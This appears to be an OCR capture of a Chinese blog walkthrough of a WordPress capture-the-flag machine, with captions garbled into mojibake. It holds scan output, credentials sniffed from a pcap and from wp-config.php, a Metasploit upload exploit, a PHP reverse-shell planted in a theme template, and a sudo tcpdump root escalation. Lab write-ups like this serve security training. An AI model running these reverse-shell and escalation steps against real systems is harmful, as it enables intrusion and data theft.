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Applications « Places ¥ [ Terminal Sat20:19

root@kali: ~

File Edit View Search Terminal Help
Currently scanning: Finished! | Screen View: Unique Hosts

41 Captured ARP Req/Rep packets, from 3 hosts. Total si
Count Len endor / Hostname

240 Mware, Inc.

34 2040 VMware, Inc.
4
3 180 VMware, Inc.

8 100:0c:29:d3:5e:c2

hitps://blog.csdn.net/gq_45



2. FIFANMAPHSE BAR N, KB BARENIR DIFE. REHERL, BEI R BARRERKRSAML? RIS —RERAR

Applications ¥ Places v [ Terminal = Sat20:25

root@kali: ~

File Edit View Search Terminal Help

-A: Enable 05 detection, version detection, script scanning, and traceroute

--datadir <dirname>: Specify custom Nmap data file location

-send-ip: Send using raw ethernet fra or IP packets
ssume that the user is fully privileged
Assume the user lacks raw socket privile
1 number
Print this help summary page.

EXAMPLES:

nmap -v -A scanme.nmap.org

nmap -v -sn 192.168.0.0/16 10.0.8.8/8

nmap -v -iR 18000 -Pn -p 80
SEE THE MAN PAGE (https://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES

:~# nmap 192.168.116.138

Starting Nmap 7.70 ( https://nmap.org ) at 2020-12-85 20:24 EST
Nmap scan report for 192.168.116.138
Hos up (0.00073s latency).
Mot shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:8C:29:D35E:C2 (VMware)

Nmap done: IP address (1 host up) scanned in 1.38 seconds
~# I

% ; https://blog.csdn.net/gq_45

3. HERENRME THTTPIRS, =R AR V5o HArmus. #E. REEWHRER?

Example site — Just another WordPress site - Mozilla Firefox e ® O

F Example site — Justanother X | +

€ c @ @ 192.168.116.138 D % P
£¥ Most Visited ) Offensive Security @ Kali Linux @ KaliDocs @ Kali Tools @) Exploit-DB

OCTOBER 30, 2018

Hello world!

Welcome to WordPress. This is your first post. Edit or delete it, then start
writing!




4. FFHwhatweb#Rl B F7 M xh 8 I CMSHEtR . 88 . 2 EHKICMSEH 4?2
CMS£WordPress

eb 192.168.116.138
58 . .138 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTMLS5, HT
TPServer]| ] [Apache/2.4.29 (Ubuntu)], IP[1 6 , JQuery[1.12
.4], MetaGenerator[WordPress 4.9.8], PoweredBy[WordPress, Worc 1., Script[tex

t/javascript], Title[Example site &#8211; Just another WOrdPress site], Uncommon
Headers[link], WordPress[4.9.8]
: ~# I

5. M##Rwpscan, fRIEUHRIIEE.

WPScanfKali LinuxZik B # K — 2R TR, C©FRARwWbYyERES, BB IEHWordPress® sl ih i £ Fh 22 &R, HPaE
WordPressZs & fI¥IR $EAFIRIAM MR, BHRAWPScanif ¥ & #4483 18000 i A IR A12600F £ MiRIH, I
B FBRFARWordPress. EAERNRZ, BAMUAEE MK Plrobots X FEFIBUR SO, T BiE RS8Rl 287 2 5 A ¥
R H AR T BE

6. fH Dirb BEMuiHFX. (Dirb B—NEMHTRBEERMIE, £ Kali FERIACL %%, RUTREHEHIK

patator, dirsearch, DirBuster, ENKMES]) #BE. B MIFHMEREF LK ER BB
# dirb http://192.168.116.138

START _TIME: Sat Dec 5 21:16:13 2020
URL_BASE: http://192.168.116.138/
WORDLIST FILES: fusr/share/dirb/wordlists/common.txt

GEMERATED WORDS: 4612

- Scanning URL: http://192.168.116.138/
+ http://192.168.116.138/index.php (CODE:301|5IZE:0)
==> DIRECTORY: http://192.168.116.138/ipdata/
+ http://192.168.116.138/server-status (CODE:403|SIZE:280)
==> DIRECTORY: http://192.168.116.138/wp-admin/

DIRECTORY: http://192.168.116.138/wp-content/

==> DIRECTORY: http://192.168.116.138/wp-includes/
+ http://192.168.116.138/xmlrpc.php (CODE:405|SIZEt] log.csdn.net/qq_45




7. WEHTHIZEF (R , RIA—AcapXfF. BHE.

Index of fipdata - Mozilla Firefox — R [T x

Index of fipdata x B

R < C @ @ 192.168.116.138/ipdata/ Q% » =
£+ Most Visited @ Offensive Security & Kali Linux Kali Docs @) Kali Tools @& Exploit-DB »

Index of /ipdata

Name Last modified Size Description

3 Parent Directory &
[?) analyze.cap 2018-10-30 09:14 2.8M

BN Apache/2.4.29 (Ubuntu) Server at 192.168.116.138 Port 80

8. FAWiresharksr #TiZ R Q, HHTCPEIER. WA AFAKGEE? BE.

Applications - Places = Wireshark -
analyze.cap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
AN @ 0 RE Q «» 1« =5 aa i

|| | nttp B0 -| Expression.. +

.

Time Source Destination Protocol Length Info
136 18.535692 192.168.1.222 192.168.1.176 HTTP 581 GET /w
146 18.541084 192.168.1.176 192.168.1.222 HTTP 12463 HTTP/1
148 18.575040 192.168.1.222 192.168.1.176 HTTP 527 GET /w
149 18.577324 192.168.1.176 192.168.1.222 HTTP/X.. 1876 HTTP/1
186 96.210143 192.168.1.222 192.168.1.176 HTTP 799 POST /
182 90.232018 192.168.1.176 192.168.1.222 HTTP 128@ HTTP/1
184 90.236559 192.168.1.222 192.168.1.176 HTTP 949 GET /w
212 91.521133 192.168.1.176 192.168.1.222 HTTP 1428 HTTP/1
214 91.557657 192.168.1.222 192.168.1.176 HTTP 1854 GET /w
219 91.558753 192.168.1

L]

222 192.168.1.176 HTTP 682 GET /w
¥

+ Hypertext Transfer Protocol
= HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: "log" = "webdeveloper"
Form item: "pwd" = "Te5eQg&4sBS!Yr$)wf%(DcAd"
Form item: "wp-submit" = "Log In"
Form item: "redirect_to" = "http://192.168.1.176/wordpress/wp-admin/"
Form item: "testcookie" = "1"

L]

0oee 08 00 27 1d 4d 40 08 00 27 74 17 d4 08 00 EEREE
PONICIe3 11 64 3d 40 00 40 06 de cb c® a8 01 de c® a8

O 7  Internet Protocol Version 4 (ip), 20 bytes Packets: 806 - Displayed: 108 (13.4%)  Profile: Default




9. MAEL—PRENGBEHEANMGEEG. BE.
(M EH RS 58RERAKSRARBRES)

Applications ~ Places = Firefox ESR = Sat21:27

Dashboard « Example site — WordPress - Mozilla Firefox

Index of fipdata X | Dashboard < Example site — X | +

& ¢ @ ® 192.168.116.138/wp-admin/ B |- 99 ¥ In @
£+ Most Visited @) Offensive Security @ Kali Linux @ Kali Docs &) Kali Tools &) Exploit-DB

@ Examplesite < 4 P 0 4 New Howdy, webdeveloper il

WordPress 5.5.3 is available! Please update now
Dashboard

€ Dismiss

A new, mc:-dem pubhshmg expemence is commg soon.

\AS ) J P [ R
T: dKe yOou Vords, media, and layout new directions with utenber g, the WordPress editor

Test the new editor today.
You can take Gutenberg for a spin (and share your feedback, if you'd like) before we officially release it, by
installing it as a plugin. You can help by testing, filing bugs, or contributing on the GitHub repositery.

Install Gutenberg




10, FIHZCMSHER GFEMFPlugind IR

11, R ZIE IR R

A% R1: FlfHMeterSploitififf +reflex galleryififF iR iR LM . Z#reflex galleryffift. FIFZH M BEEERRIA. GREARZR
=P

SN

By &iEE, BEwp-config.phpIRBKEKO4. (REXHMREE, SMHAZGKNEEH) .
REHNKS . DSRAREAA2BR? EREHRTERHIBLE.

By &iEjE, BEwp-config.phpIRBIK 5 & 04 .

msf5 > use exploit/unix/webapp/wp reflexgallery file upload

msf5 exploit( } » set rhosts 192.168.19.131

rhosts == 192.168.19.131
msf5 exploit( ) = exploit

Started reverse TCP handler on 192.168.19.128:4444

Our payload is at: aggabIkTz.php. Calling payload...

Calling payload...

Sending stage (38247 bytes) to 192.168.19.131

Meterpreter session 1 opened (192.168.19.128:4444 -> 192.168.19.131:55264) at 2019-03-14 02:2

Tried to delete agqabIkTz.php, unknown result - .
https://blog.csdn.netlqq_45721890

cat wp-config.php
=

* The base configuration for WordPress

* The wp-config.php creation script uses this file during the
- installation. You don't have to use the web site, you can
- copy this file to "wp-config.php" and fill in the values.

* This file contains the following configurations:

- MySQL settings

- Secret keys

- Database table prefix
- ABSPATH

- @link https://codex.wordpress.org/Editing wp-config.php

- @package WordPress
-/

S/ ** MySQL settings - You can get this info from your web host
/** The name of the database for WordPress #*/
define('DB NAME', 'wordpress')

/** Mys5QL database username */
define('DB USER', | 'webdeveloper');

/** Mys5QL database password */
define('DB PASSWORD', [|'Master0fTheUniverse');

S** MySQL hostname */
define('DB HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. #*/
define('DB COLLATE', '');

S , , , https://blog.csdn.net/gg_45721890
* Authentication Unigue Keys and Salts.

k75 5R2: b R¥shell
http://pentestmonkey.net/tools/web-shells/php-reverse-shell

[EH: PHPMuGEE; SLB@E: bAEMEE, URLGE(EH)ZKR#shell#) 5 .
Thee: ZMASRERMTCPERIWEHE (HWATHEEREFPHILAROS) . ]




ZCMSAHPHPIT R, AT LAFI A H LI #ishell. ERFEHAIMHLIPHIMERNSE . (FRAKEHE) -

*php-reverse-shell.ph =
Open b ‘ | .E:-’.|I')f.|'|.':|'r-",-.'r'-|'f.|'|.-'-|!-'.'|'-i||*.p ‘ Save | = e @ e

rr SUNNE LUNNPLLET LLINE UPLLIUINTS alc liecucu Tui UﬂCIIIUIIJ_EdLJ_mC puiree,
posix). These are rarely available.

i

// Usage

/1l -----

// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_ limit (@);

¢VERSION = "1.0";

$ip = '10.0.2.14'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk size = 1400;

$write a = null;

¢error a = null:

¢shell = 'uname -a; w; id: /bin/sh -i‘';
tdaemon = 0;

$debug = 0;

PHP v Tab Width:8 « in &5, Col 3 < (]

HNEG, REER—NPHPIE, /57 MHphp-reverse-shell.PHP KIALAS & B iz T FIAKAD .

i Exar

@ Dashboard

date now

WordPress 5.1 is available! Please ypds W

Home

Dashboard

A new, modern publishing experience is coming soon.

Test the new editor today. Not quite ready?
You can take Gutenberg for a spin The new editer will be enabled by

major release of

re nat sure how

Welcome to WordPress!

10.0.2.11jwp-admin/theme-editor.php e

BRI 3 B AR IPHihE K 1 (B BCA BT PR R T 5 05D .

# eamplesite O 4 P

Edit Themes

Twenty Sixteen: 404 Template (404.php) Select themetoedit: Twenty Sixteen j Selact

Selectedfile content: Theme Files



" Appearance :
set_time limit (8);
SVERSION = "1.87; —ah
$ip = "10.0.2.14"; HAN {1
sport = 4444; AN JENETIC L3
v §chunk size = 1488;
gwrite a = null;
serror a = null;
15 $shell = "uname -a; w; id bin/sh -i"; L2
St = U 404 Template
sdebug = B; 0408
= if (function exists{*pcntl fork')) {
¢pid = pentl fork(); ied v

Documentation: Function Mamse -

Wik HEEKaliFF FANCTHE MY, By W a5 e mPHPRE . WA 3 & shel (P www-data) . B3y 2iEE, &
FEwp-config.phpIRFK S K HO4. GEREER
root@Technawi: - © O 0

File Edit View Search Terminal Help

Listening on
C ction f

#41-Ubuntu SMP Wed 0Oc 18 16:59:38 UTC 318 xB6 64 xB6 B 1. 64 GNU/SLINnUX

9.81, 8.84, 9.01
IDLE JCPU PCPU WHAT

base rnnf]gnrnTlnn for WordPress

1fig.php
tion. You
s file to

DB NAME" . wordpress

/** MySQL database username */
define('DB USER', ‘webdeveloper');

/*+* MySQL database password */

ldefine('DB PASSWORD', 'MasterOfTheUniverse');

Mozilla Firefox e O
File Edit View History Bookmarks Tools Help
= 10.0.2.11/wp-content/th- % | +
— x @ 10.0.2.11/w tent/t twentysixt 104 2, Sear ¢ @O =

£+ Most Visited ] Offensive Security ", KaliLinux " KaliDocs ", KaliTools = Exploit-DB W Aircrack-ng ' Kali Forums "W, NetHunter »




JR3: FAXHEREEM (File manager) JKiFH.
RN, B A %wp-config.php.

PALETR=1E—, BRKEIWLASKIKT R, RIEDREE.

10. SSHEF AR %%
LR L — B3R B A BEE ER R P A B SRR S . 2.
1. ZXEE/rootflag.txt UL FEAERF RIS RBEEBER U TEHA.

BEBEE,
10, f# FtcpdumpIATIEE M4 (Atcpdumpili KB HEE A G S HATIRERH L. )
BE U HHTHITHISS .

R IAT Lhroott PR 1T tepdump i &

B B S

touch /tmp/exploit1

5 Ashellcode

echo ‘cat /root/flag.txt’ > /tmp/exploit

e T E AR

chmod +x /tmp/exploit

FI FtcpdumpBATIER 4

sudo tcpdump -i ethO -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root
Fkf5flag

exploit -Z rookt

tcpdump iy &A% :

-i eth0 ¥ E MR R EE R

-w /devinull ¥R B MBI R B BT RS (RRaHEBEAER)

-z [command] 1217 #8 & 1 iy &

-Z [user] ¥8 & F P #1475 4

-G [rotate_seconds] £rotate_secondsFs — Ik FH R AT -wit 5E B3 il
-W [num] #& & P50 &
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